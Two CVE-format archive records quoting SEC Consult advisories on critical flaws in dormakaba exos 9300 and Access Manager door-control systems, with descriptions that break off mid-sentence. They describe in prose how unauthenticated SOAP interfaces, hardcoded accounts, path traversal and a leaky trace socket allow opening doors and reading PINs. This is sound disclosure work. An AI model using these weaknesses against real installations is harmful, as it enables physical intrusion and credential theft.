Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260126-1",
          "vendor": "Dormakaba",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260126-1 \u003e\n=======================================================================\n              title: Multiple Critical Vulnerabilities\n            product: dormakaba Access Manager\n vulnerable version: Multiple firmware and hardware revisions (details below)\n      fixed version: Multiple firmware and hardware revisions (details below)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-59097, CVE-2025-59098, CVE-2025-59099,\n                     CVE-2025-59100, CVE-2025-59101, CVE-2025-59102,\n                     CVE-2025-59103, CVE-2025-59104, CVE-2025-59105,\n                     CVE-2025-59106, CVE-2025-59107, CVE-2025-59108\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n           homepage:https://www.dormakaba.com/\n              found: 2024-03-18\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Clemens Stockenreitner (Office Vienna)\n                     Werner Schober (Office Vienna)\n                     Supported by the HW Lab Vienna\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The Kaba exos 9300 basic system is the cornerstone of your access\nmanagement solution. Use it to resolves all your basic employees,\nsystem, user and peripheral management tasks and initiate targeted\nsecurity measures as required. [...] \"\n\nSource:https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides multiple patches which should be installed immediately.\nMore details can be found at the following locations:\n- Solution at the end of this advisory\n- SEC Consult blog post:https://r.sec-consult.com/dormakaba\n- Vendor website / security page:https://www.dormakabagroup.com/en/security-advisories\n- Your dormakaba partner\n\n\nTested Architecture Overview\n-----------------------------------\nThe tested system is the enterprise grade physical access system from\ndormakaba. The tested system consists of the following components:\n\n------------------------------\ndormakaba exos 9300\n------------------------------\nExos 9300 is a piece of software based on C# running on a central Windows server with\nan MSSQL, or Oracle database as central storage.\nExos consists of multiple modules (e.g. basis, employee management, key depot, access,\nvisitor management, 3rd party management). Exos is used to centrally manage users,\nkeys, cards as well as the configuration of the access manager. Devices in the\nexos environment are addressed using a special addressing scheme. The address scheme\ndescribed in the following table is going to be important.\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502         I          \u2502            01             \u2502      00       \u2502                    01                     \u2502          \n  00             \u2502        00         \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Port Type          \u2502 Communication Hub Address \u2502 Port Address  \u2502 Access Hub Address                        \u2502 00 = \nDoor Manager         \u2502 Datapoint Address \u2502\n\u2502 I = Access Manager \u2502 Values: 01-99             \u2502 Values: 00-99 \u2502 Values: 00-99                             \u2502 01 = \nAccess Point         \u2502 Values: 00-20     \u2502\n\u2502 B = Serial         \u2502                           \u2502               \u2502 Fixed to 01 for Access Hubs with Ethernet \u2502 02 = \nTurnstile            \u2502                   \u2502\n\u2502 C = Modem          \u2502                           \u2502               \u2502                                           \u2502 03 = IO \nController        \u2502                   \u2502\n\u2502 E = Ethernet       \u2502                           \u2502               \u2502                                           \u2502 Fixed to \n00 in most cases \u2502                   \u2502\n\u2502 R = remote         \u2502                           \u2502               \u2502                                           \u2502          \n                 \u2502                   \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n------------------------------\ndormakaba Access Manager\n------------------------------\nThe access manager is a component that is configured via exos. The configuration\nbetween exos and access manager is exchanged via a SOAP interface. Per default\nthe data exchange is unencrypted. Encryption is only available starting with\naccess manager hardware release K7.\nThe access manager is a custom piece of hardware with multiple inputs and outputs.\nThe device offers the following interfaces:\n- Digital Inputs\n- 3x DC Output Relays\n- 2x RS-232\n- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)\n- 1x RJ45\n- 1x Micro USB\n- 2x Coax (Used to connect registration units e.g. 9001, 9002)\n\nThe tested hardware was an access manager 9200-k5 running Windows CE embedded,\nand an access manager 9200-k7 running Linux.\n\n------------------------------\ndormakaba Registration Unit\n------------------------------\ndormakaba registration units can be either a Legic/Mifare card reader,\nor a PIN pad used to enter a PIN to deactivate alarming systems, or as\nan additional authentication.\n\n------------------------------\nElectric lock\n------------------------------\nThe lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock\nis simply controlled via a relay contact connected to the Access Manager. As\nsoon as a user successfully authenticates with a registration unit,\nthe relay connected to the lock is switched and the door opens.\n\nThe system is depicted in the following diagram.\n\n          \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n          \u2502         \u2502\n          \u2502exos 9300\u2502              \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n          \u2502         \u2502              \u2502 Reg Unit \u2502  \u2502 Pin Pad  \u2502\n          \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518              \u2502   \u250c\u2500\u2500\u2510   \u2502  \u2502  x x x   \u2502\n               \u2502                   \u2502   \u2502\u253c\u253c\u2502   \u2502  \u2502  x x x   \u2502\nEthernet\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502                   \u2502   \u2514\u2500\u2500\u2518   \u2502  \u2502  x x x   \u2502\n               \u2502                   \u2502   9001   \u2502  \u2502   9002   \u2502\n          \u250c\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2510              \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518  \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518\n          \u2502 Access  \u2502                    \u2502             \u2502\n          \u2502 Manager \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n          \u2502  9200   \u2502        \u25b2\n          \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518        \u2502\n               \u2502           Coax\n               \u2502\n  DC Relay\u2500\u2500\u2500\u25ba \u2502\n               \u2502\n            \u250c\u2500\u2500\u2534\u2500\u2500\u2510\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2502    \u2500\u2524\u25c4\u2500\u2500\u2500\u2500\u2500\u2500Electric Lock\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2514\u2500\u2500\u2500\u2500\u2500\u2518\n\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Unauthenticated SOAP API (CVE-2025-59097)\nThe exos 9300 application can be used to configure access managers (e.g. 9200,\n9230 and 9290). The configuration is done in a graphical user interface on the\ndormakaba exos server. As soon as the save button is clicked in exos 9300, the\nwhole configuration is sent to the selected access manager via SOAP. The SOAP\nrequest is sent without any prior authentication or authorization by default.\nThough authentication and authorization can be configured using IPsec for 9200-K5\ndevices and mTLS for 9200-K7 devices, it is not enabled by default and must\ntherefore be activated with additional steps.\n\nThis insecure default allows an attacker with network level access to completely\ncontrol the whole environment. An attacker is for example easily able to conduct\nthe following tasks without prior authentication:\n- Re-configure access managers (e.g. remove alarming system requirements)\n- Freely re-configure the inputs and outputs - Open all connected doors permanently\n- Open all doors for a defined time interval\n- Change the admin password\n- and many more\n\nNetwork level access can be gained due to an insufficient network segmentation as well\nas missing LAN firewalls. Some devices with an insecure configuration have been\nidentified to be directly exposed to the internet as well.\n\nVulnerable Versions:\n- 92xx-K5: All versions on the market\n- 92xx-K7: \u003cBAME 06.00\n\n2) Trace Functionality Leaking Sensitive Data (CVE-2025-59098)\nThe access manager is offering a trace functionality to debug errors and issues\nwith the device. The trace functionality is implemented as a simple TCP socket.\nA tool called TraceClient.exe, provided by dormakaba via the Access Manager web\ninterface, is used to connect to the socket and receive debug information. The data\nis permanently broadcast on the TCP socket. The socket can be accessed without\nany authentication or encryption.\n\nThe transmitted data is based on the set verbosity level. The verbosity level can be\nset using the HTTP(S) endpoint with the service interface password or with the guessable\nidentifier of the device via the SOAP interface.\n\nThe transmitted data contains sensitive data like the Card ID as well as all\nbutton presses on registration units. This allows an attacker with network level\naccess to retrieve all entered PINs on a registration unit.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.06.212\n- 92xx-K7: \u003cBAME 05.02.156\n\n\n3) Unauthenticated Path Traversal (CVE-2025-59099)\nThe Access Manager is using the open source web server \"CompactWebServer\" written\nin C#. This web server is affected by a path traversal vulnerability, which\nallows an attacker to directly access files via simple GET requests without\nprior authentication.\n\nHence, it is possible to retrieve all files stored on the file system, including\nthe SQLite database Database.sq3, containing badge information and the corresponding\nPIN codes. Additionally, when trying to access certain files, the web server crashes\nand becomes unreachable for about 60 seconds. This can be abused to continuously send\nthe request and cause denial of service.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.05.21\n- 92xx-K7: \u003cBAME 04.05.16\n\n4) Unauthenticated Access to the SQLite Database (CVE-2025-59100)\nThe web interface offers a functionality to export the internal SQLite database.\nAfter executing the database export, an automatic download is started and the\ndevice reboots. After rebooting, the exported database is deleted and cannot be\naccessed anymore. However, it was noticed that sometimes the device does not reboot\nand therefore the exported database is not deleted, or the device reboots and the\nexport is not deleted for unknown reasons. The path where the database export is\nlocated can be accessed without prior authentication. This leads to the fact that\nan attacker might be able to get access to the exported database without prior\nauthentication. The database includes sensitive data like passwords, card pins,\nencrypted Mifare sitekeys and much more.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.06.212\n\n5) Insufficient Session Management (CVE-2025-59101)\nInstead of typical session tokens or cookies, it is verified on a per-request basis\nif the originating IP address has once successfully logged in. As soon as an\nauthentication request from a certain source IP is successful, the IP address\nis handled as authenticated. No other session information is stored. Therefore,\nit is possible to spoof the IP address of a logged-in user to gain access to\nthe Access Manager web interface.\n\nVulnerable Versions:\n- 92xx-K5: \u003cXAMB 04.06.212\n- 92xx-K7: \u003cBAME 04.07.268\n\n6) Secrets Stored in Plaintext in Database (CVE-2025-59102)\nThe web server of the Access Manager offers a functionality to download a backup\nof the local database stored on the device. This database contains the whole\nconfiguration. This includes encrypted MIFARE keys, card data, user PINs and\nmuch more. The PINs are even stored unencrypted. Combined with the fact that an\nattacker can e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:32:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/23"
        },
        {
          "url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService\""
        },
        {
          "url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService/ICommunicationHub2IdmmService/BinaryTimezoneUpdate\""
        },
        {
          "url": "http://kbr.kaba.ch/services/ICommunicationHub2IdmmService/ICommunicationHub2IdmmService/ExecutePassagewayCommand\""
        },
        {
          "url": "http://schemas.microsoft.com/2003/10/Serialization/\""
        },
        {
          "url": "http://www.w3.org/2001/XMLSchema\""
        },
        {
          "url": "http://www.w3.org/2001/XMLSchema-instance\""
        },
        {
          "url": "http://www.w3.org/2003/05/soap-encoding\""
        },
        {
          "url": "http://www.w3.org/2003/05/soap-envelope\""
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://r.sec-consult.com/dormakaba"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.dormakaba.com/"
        },
        {
          "url": "https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000"
        },
        {
          "url": "https://www.dormakabagroup.com/en/security-advisories"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260126-1 :: Multiple Critical Vulnerabilities in dormakaba Access Manager",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-59097",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59098",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59099",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59100",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59101",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59102",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59103",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59104",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59105",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59106",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59107",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59108",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0191",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/23",
            "automated": true,
            "contentSha256": "57e9688107e04992c6027e9d5f1d85f056573a110cd49d8ac7decd85f4d9fa6f",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-26T10:21:48Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0191"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T13:32:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0191"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260126-0",
          "vendor": "Dormakaba",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260126-0 \u003e\n=======================================================================\n              title: Multiple Critical Vulnerabilities\n            product: dormakaba Kaba exos 9300\n vulnerable version: \u003c 4.4.1\n      fixed version: 4.4.1\n         CVE number: CVE-2025-59090, CVE-2025-59091, CVE-2025-59092\n                     CVE-2025-59093, CVE-2025-59094, CVE-2025-59095\n                     CVE-2025-59096\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n           homepage:https://www.dormakaba.com/\n              found: 2024-03-18\n                 by: Clemens Stockenreitner (Office Vienna)\n                     Werner Schober (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The Kaba exos 9300 basic system is the cornerstone of your access\nmanagement solution. Use it to resolves all your basic employees,\nsystem, user and peripheral management tasks and initiate targeted\nsecurity measures as required. [...] \"\n\nSource:https://www.dormakaba.com/gb-en/offering/products/electronic-access-data/corporate-access-control-solutions/dormakaba-exos-9300-base-system--ka_500000\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides multiple patches which should be installed immediately.\nMore details can be found at the following locations:\n- Solution at the end of this advisory\n- SEC Consult blog post:https://r.sec-consult.com/dormakaba\n- Vendor website / security page:https://www.dormakabagroup.com/en/security-advisories\n- Your dormakaba partner\n\n\nTested Architecture Overview\n-----------------------------------\nThe tested system is the enterprise grade physical access system from\ndormakaba. The tested system consists of the following components:\n\n------------------------------\ndormakaba exos 9300\n------------------------------\nExos 9300 is a piece of software based on C# running on a central Windows server with\nan MSSQL, or Oracle database as central storage.\nExos consists of multiple modules (e.g. basis, employee management, key depot, access,\nvisitor management, 3rd party management). Exos is used to centrally manage users,\nkeys, cards as well as the configuration of the access manager. Devices in the\nexos environment are addressed using a special addressing scheme. The address scheme\ndescribed in the following table is going to be important.\n\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502         I          \u2502            01             \u2502      00       \u2502                    01                     \u2502          \n  00             \u2502        00         \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Port Type          \u2502 Communication Hub Address \u2502 Port Address  \u2502 Access Hub Address                        \u2502 00 = \nDoor Manager         \u2502 Datapoint Address \u2502\n\u2502 I = Access Manager \u2502 Values: 01-99             \u2502 Values: 00-99 \u2502 Values: 00-99                             \u2502 01 = \nAccess Point         \u2502 Values: 00-20     \u2502\n\u2502 B = Serial         \u2502                           \u2502               \u2502 Fixed to 01 for Access Hubs with Ethernet \u2502 02 = \nTurnstile            \u2502                   \u2502\n\u2502 C = Modem          \u2502                           \u2502               \u2502                                           \u2502 03 = IO \nController        \u2502                   \u2502\n\u2502 E = Ethernet       \u2502                           \u2502               \u2502                                           \u2502 Fixed to \n00 in most cases \u2502                   \u2502\n\u2502 R = remote         \u2502                           \u2502               \u2502                                           \u2502          \n                 \u2502                   \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n------------------------------\ndormakaba Access Manager\n------------------------------\nThe access manager is a component that is configured via exos. The configuration\nbetween exos and access manager is exchanged via a SOAP interface. Per default\nthe data exchange is unencrypted. Encryption is only available starting with\naccess manager hardware release K7.\n\nThe access manager is a custom piece of hardware with multiple inputs and outputs.\nThe device offers the following interfaces:\n- Digital Inputs\n- 3x DC Output Relays\n- 2x RS-232\n- 1x RS-485 (Used to connect to access manager extension systems e.g. Kaba 9125)\n- 1x RJ45\n- 1x Micro USB\n- 2x Coax (Used to connect registration units e.g. 9001, 9002)\n\nThe tested hardware was an access manager 9200-k5 running Windows CE embedded,\nand an access manager 9200-k7 running Linux.\n\n------------------------------\ndormakaba Registration Unit\n------------------------------\ndormakaba registration units can be either a Legic/Mifare card reader,\nor a PIN pad used to enter a PIN to deactivate alarming systems, or as\nan additional authentication.\n\n------------------------------\nElectric lock\n------------------------------\nThe lock used for the tested setup is an Assa Abloy/effeff Profix 118. The lock\nis simply controlled via a relay contact connected to the access manager. As\nsoon as a user successfully authenticates with a registration unit,\nthe relay connected to the lock is switched and the door opens.\n\nThe system is depicted in the following diagram.\n\n          \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n          \u2502         \u2502\n          \u2502exos 9300\u2502              \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n          \u2502         \u2502              \u2502 Reg Unit \u2502  \u2502 Pin Pad  \u2502\n          \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518              \u2502   \u250c\u2500\u2500\u2510   \u2502  \u2502  x x x   \u2502\n               \u2502                   \u2502   \u2502\u253c\u253c\u2502   \u2502  \u2502  x x x   \u2502\nEthernet\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502                   \u2502   \u2514\u2500\u2500\u2518   \u2502  \u2502  x x x   \u2502\n               \u2502                   \u2502   9001   \u2502  \u2502   9002   \u2502\n          \u250c\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2510              \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518  \u2514\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518\n          \u2502 Access  \u2502                    \u2502             \u2502\n          \u2502 Manager \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n          \u2502  9200   \u2502        \u25b2\n          \u2514\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518        \u2502\n               \u2502           Coax\n               \u2502\n  DC Relay\u2500\u2500\u2500\u25ba \u2502\n               \u2502\n            \u250c\u2500\u2500\u2534\u2500\u2500\u2510\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2502    \u2500\u2524\u25c4\u2500\u2500\u2500\u2500\u2500\u2500Electric Lock\n            \u2502     \u2502\n            \u2502     \u2502\n            \u2514\u2500\u2500\u2500\u2500\u2500\u2518\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Unauthenticated SOAP API (CVE-2025-59090)\nOn the exos 9300 server, a SOAP API is reachable on port 8002. This API does not\nrequire any authentication prior to sending requests. Therefore, network access\nto the exos server allows e.g. the creation of arbitrary access log events as well\nas querying the 2FA PINs associated with the enrolled chip cards.\n\n2) Hardcoded Legacy Accounts Allowing Control Over Access Managers (CVE-2025-59091)\nMultiple hardcoded credentials have been identified, which are allowed to sign-in\nto the exos 9300 datapoint server running on port 1004 and 1005. This server is\nused for relaying status information from and to the access manager. This information,\namong other things, is used to graphically visualize open doors and alerts. However,\ncontrolling the access managers via this interface is also possible.\nTo send and receive status information, authentication is necessary. The Kaba exos 9300\napplication contains hard-coded credentials for four different users, which are\nallowed to login to the datapoint server and receive as well as send information,\nincluding commands to open arbitrary doors.\n\n3) Unauthenticated RPC Service 